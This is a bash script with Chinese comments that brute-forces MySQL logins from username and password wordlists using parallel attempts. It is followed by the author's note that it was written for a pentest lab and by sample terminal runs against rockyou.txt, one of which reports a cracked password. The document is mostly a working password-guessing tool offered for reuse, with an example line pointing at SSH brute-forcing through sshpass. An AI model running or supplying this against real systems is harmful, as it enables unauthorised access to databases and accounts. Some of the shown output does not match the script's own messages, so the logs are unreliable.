#!/bin/bash
# 脚本参数
username=$1 # MySQL用户(或字典路径)
password=$2 # MySQL密码(或字典路径)
task_num=${3:-32} # 并发数,默认 32
# 检查参数是否存在
if [ -z "$username" ] || [ -z "$password" ]; then
echo "请输入用户名(或字典路径)和密码(或字典路径)"
echo "用法: ./mysql_login.sh username password"
exit 1
fi
# 并发数,默认 32
if ! [[ $task_num =~ ^[0-9]+$ ]]; then
task_num=32
fi
# 读取用户字典文件
echo '读取用户信息...'
if [ -f "$username" ]; then
usernames=$(cat $username)
else
usernames=$(echo $username | cat)
fi
# 读取密码字典文件
echo '读取密码信息...'
if [ -f "$password" ]; then
passwords=$(cat $password)
else
passwords=$(echo $password | cat)
fi
# 尝试登录函数
function try_mysql_login() {
user=$1
pswd=$2
# 尝试登录MySQL
output=$(mysql -u $user -p$pswd -e "exit" 2>&1)
# 检查输出是否包含错误信息
if [[ ! $output =~ 'ERROR' ]]; then
echo "成功登录,用户密码为 -> $user : $pswd"
# 获取当前脚本的 PID
script_pid=$(ps -p $$ | grep -v PID | awk '{print $1}')
# 强制结束当前脚本
kill -s 9 $script_pid
fi
}
function print_progress() {
# 打印进度,如果一直没有输出,时间太长会感觉卡死了
numb=$1
task=$2
snum=$3
user=$4
pswd=$5
if [ $(($numb % ($task * 10))) -eq 0 ]; then
echo "尝试登录进度($numb/$snum) -> $user : $pswd"
fi
}
# 循环遍历密码字典
pool=0
count=0
total_tasks=$(($(echo "$usernames" | wc -l) * $(echo "$passwords" | wc -l)))
for username in $usernames; do
echo "尝试用户: $username"
for password in $passwords; do
count=$((count + 1))
# 等待空闲进程池中的任务
while [ $pool -ge $task_num ]; do
wait -n
((pool--))
done
# 创建新任务并加入进程池
{
try_mysql_login $username $password
# 在这里执行具体的登录操作,例如使用ssh命令
# 示例:sshpass -p "$password" ssh "$user"@hostname command
} &
((pool++))
print_progress $count $task_num $total_tasks $username $password
done
done
# 等待所有进程完成
wait
echo "密码爆破失败"
exit 1
使用场景:是一次打靶经历,内网容器,无法连接外网,又有很多命令失效,无法使用专门的MySql爆破工具,本人又很菜,就只能想到自己写一个sh的爆破脚本了。
(base) ┌──(root㉿kali)-[/usr/local/soft/hack]
└─# ./mysql_login.sh mike /usr/share/wordlists/rockyou.txt 64
尝试用户: mike
尝试登录进度 -> mike : pebbles
尝试登录进度 -> mike : poohbear1
尝试登录进度 -> mike : jacqueline
尝试登录进度 -> mike : scarlett
密码爆破失败
mike@host2:/tmp$ ./mysql_login.sh user.txt top500.txt
尝试用户: root
尝试登录进度 -> mike : pebbles
尝试登录进度 -> mike : poohbear1
尝试用户: mike
尝试登录进度 -> mike : pebbles
成功登录,密码为: password